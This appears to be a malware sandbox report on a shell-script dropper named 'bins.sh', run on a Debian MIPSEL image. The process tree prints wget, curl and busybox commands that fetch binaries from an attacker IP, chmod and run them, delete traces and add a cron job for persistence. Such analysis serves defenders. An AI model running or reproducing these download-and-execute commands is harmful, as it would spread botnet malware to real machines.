Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

8

bins.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    17/11/2024, 16:27

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241117-tx3pwstfke
  • SHA256 ab29f3543de0f1ac6eed17f5f8e014f208c04e91f39a6b184c1c64a2df8fa66b
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1987) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:692
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:695
        • /usr/bin/wget
          wget http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Writes file to tmp directory
          PID:697
        • /usr/bin/curl
          curl -O http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Writes file to tmp directory
          PID:710
        • /bin/busybox
          /bin/busybox wget http://87.120.125.191/bins/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Writes file to tmp directory
          PID:721
        • /bin/chmod
          chmod 777 DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • File and Directory Permissions Modification
          PID:723
        • /tmp/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          ./DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
          • Executes dropped EXE
          PID:724
        • /bin/rm
          rm DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
          2⤵
            PID:727
          • /usr/bin/wget
            wget http://87.120.125.191/bins/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
            • Writes file to tmp directory
            PID:728
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
            • Writes file to tmp directory
            PID:729
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
            • Writes file to tmp directory
            PID:730
          • /bin/chmod
            chmod 777 AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
            • File and Directory Permissions Modification
            PID:731
          • /tmp/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            ./AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
            • Executes dropped EXE
            PID:732
          • /bin/rm
            rm AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
            2⤵
              PID:734
            • /usr/bin/wget
              wget http://87.120.125.191/bins/seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              2⤵
              • Writes file to tmp directory
              PID:735
            • /usr/bin/curl
              curl -O http://87.120.125.191/bins/seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              2⤵
              • Writes file to tmp directory
              PID:736
            • /bin/busybox
              /bin/busybox wget http://87.120.125.191/bins/seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              2⤵
              • Writes file to tmp directory
              PID:739
            • /bin/chmod
              chmod 777 seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              2⤵
              • File and Directory Permissions Modification
              PID:741
            • /tmp/seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              ./seMPMINtsMkNkXU1urQKMevjsh1F79SagT
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:743
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:745
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:746
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:749
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:750
                  • /bin/rm
                    rm seMPMINtsMkNkXU1urQKMevjsh1F79SagT
                    2⤵
                      PID:756
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/7Zqz4T7G11vsabnUAKe4FQ4WAJgtfvpxps
                      2⤵
                        PID:840
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/7Zqz4T7G11vsabnUAKe4FQ4WAJgtfvpxps
                        2⤵
                          PID:842

                      Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
                            • Path /tmp/AAYWfJQfjfATYdAXazEN60JwXIBOSX9cnJ
                            • Size 119KB
                            • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
                            • Path /tmp/DvmEiEdxMkvkNjnd1TCaqPiNmHE8e0zqPU
                            • Size 141KB
                            • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            seMPMINtsMkNkXU1urQKMevjsh1F79SagT
                            • Path /tmp/seMPMINtsMkNkXU1urQKMevjsh1F79SagT
                            • Size 151KB
                            • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            tmp.BCPKXw
                            • Path /var/spool/cron/crontabs/tmp.BCPKXw
                            • Size 210B
                            • SHA256 69c2c08daf3765bb5041f0f09317a3359d31aba1c225aafa57bb71c91621b3c7
                            • MD5 SHA1 SHA512
                            Submit Download